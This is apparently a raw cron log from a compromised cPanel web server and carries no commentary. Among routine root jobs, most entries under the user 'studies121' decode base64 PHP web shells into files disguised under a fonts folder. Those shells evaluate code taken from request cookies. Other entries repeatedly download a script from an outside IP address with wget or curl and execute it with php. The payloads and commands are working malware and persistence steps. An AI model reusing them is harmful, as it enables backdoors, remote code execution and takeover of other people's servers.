Sep 22 00:01:01 ip-184-168-122-23 CROND[8491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8483]: starting 0anacron
Sep 22 00:01:01 ip-184-168-122-23 anacron[8503]: Anacron started on 2026-09-22
Sep 22 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8505]: finished 0anacron
Sep 22 00:01:01 ip-184-168-122-23 anacron[8503]: Normal exit (0 jobs run)
Sep 22 00:02:02 ip-184-168-122-23 CROND[8602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:02:02 ip-184-168-122-23 CROND[8603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:02:02 ip-184-168-122-23 CROND[8607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:02:02 ip-184-168-122-23 CROND[8605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:02:02 ip-184-168-122-23 CROND[8608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:03:01 ip-184-168-122-23 CROND[8707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:03:01 ip-184-168-122-23 CROND[8709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:03:01 ip-184-168-122-23 CROND[8708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:03:01 ip-184-168-122-23 CROND[8710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:04:01 ip-184-168-122-23 CROND[8821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:04:01 ip-184-168-122-23 CROND[8820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:04:01 ip-184-168-122-23 CROND[8824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:04:01 ip-184-168-122-23 CROND[8822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:04:01 ip-184-168-122-23 CROND[8823]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:05:02 ip-184-168-122-23 CROND[8950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:05:02 ip-184-168-122-23 CROND[8953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 00:05:02 ip-184-168-122-23 CROND[8951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:05:02 ip-184-168-122-23 CROND[8956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:05:02 ip-184-168-122-23 CROND[8952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:05:02 ip-184-168-122-23 CROND[8955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:05:02 ip-184-168-122-23 CROND[8957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:06:01 ip-184-168-122-23 CROND[9064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:06:01 ip-184-168-122-23 CROND[9065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:06:01 ip-184-168-122-23 CROND[9067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:06:01 ip-184-168-122-23 CROND[9069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:06:01 ip-184-168-122-23 CROND[9068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:07:01 ip-184-168-122-23 CROND[9251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:07:02 ip-184-168-122-23 CROND[9250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:07:02 ip-184-168-122-23 CROND[9253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:07:02 ip-184-168-122-23 CROND[9252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:08:01 ip-184-168-122-23 CROND[9360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:08:01 ip-184-168-122-23 CROND[9361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:08:01 ip-184-168-122-23 CROND[9363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:08:01 ip-184-168-122-23 CROND[9362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:08:01 ip-184-168-122-23 CROND[9364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:09:01 ip-184-168-122-23 CROND[9463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:09:01 ip-184-168-122-23 CROND[9465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:09:01 ip-184-168-122-23 CROND[9466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:09:01 ip-184-168-122-23 CROND[9468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:09:01 ip-184-168-122-23 CROND[9470]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 00:10:01 ip-184-168-122-23 CROND[9580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:10:01 ip-184-168-122-23 CROND[9583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:10:01 ip-184-168-122-23 CROND[9589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:10:01 ip-184-168-122-23 CROND[9586]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 00:10:01 ip-184-168-122-23 CROND[9584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:10:01 ip-184-168-122-23 CROND[9585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:10:01 ip-184-168-122-23 CROND[9587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:10:01 ip-184-168-122-23 CROND[9588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:11:01 ip-184-168-122-23 CROND[9714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:11:01 ip-184-168-122-23 CROND[9718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:11:01 ip-184-168-122-23 CROND[9716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:11:01 ip-184-168-122-23 CROND[9717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:12:01 ip-184-168-122-23 CROND[9820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:12:01 ip-184-168-122-23 CROND[9824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:12:01 ip-184-168-122-23 CROND[9825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:12:01 ip-184-168-122-23 CROND[9822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:12:01 ip-184-168-122-23 CROND[9823]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:13:01 ip-184-168-122-23 CROND[9924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:13:01 ip-184-168-122-23 CROND[9926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:13:01 ip-184-168-122-23 CROND[9925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:13:01 ip-184-168-122-23 CROND[9927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:14:01 ip-184-168-122-23 CROND[10122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
